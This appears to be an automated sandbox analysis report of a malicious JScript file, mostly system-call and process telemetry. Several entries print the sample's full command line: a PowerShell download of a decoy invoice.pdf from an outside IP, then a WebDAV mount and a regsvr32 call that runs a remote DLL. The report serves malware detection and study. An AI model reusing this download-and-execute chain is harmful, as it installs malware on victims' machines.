Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\382.js.csv");ITextStream.WriteLine(" entry:8533 f:jwfvah");ITextStream.WriteLine(" exec:2 f:jwfvah");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4897			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4967			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3244	Thread sleep count: 4897 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3244	Thread sleep count: 4967 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4228	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4268	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6096	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7292	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1768902210.000001FE7C52A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766423650.000001FE7C52A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: net.exe, 00000006.00000002.1768902210.000001FE7C52A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1768685146.000001FE7C4C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766423650.000001FE7C52A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3003128037.0000020C96059000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.3001628316.0000020C90A27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22871768120867.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
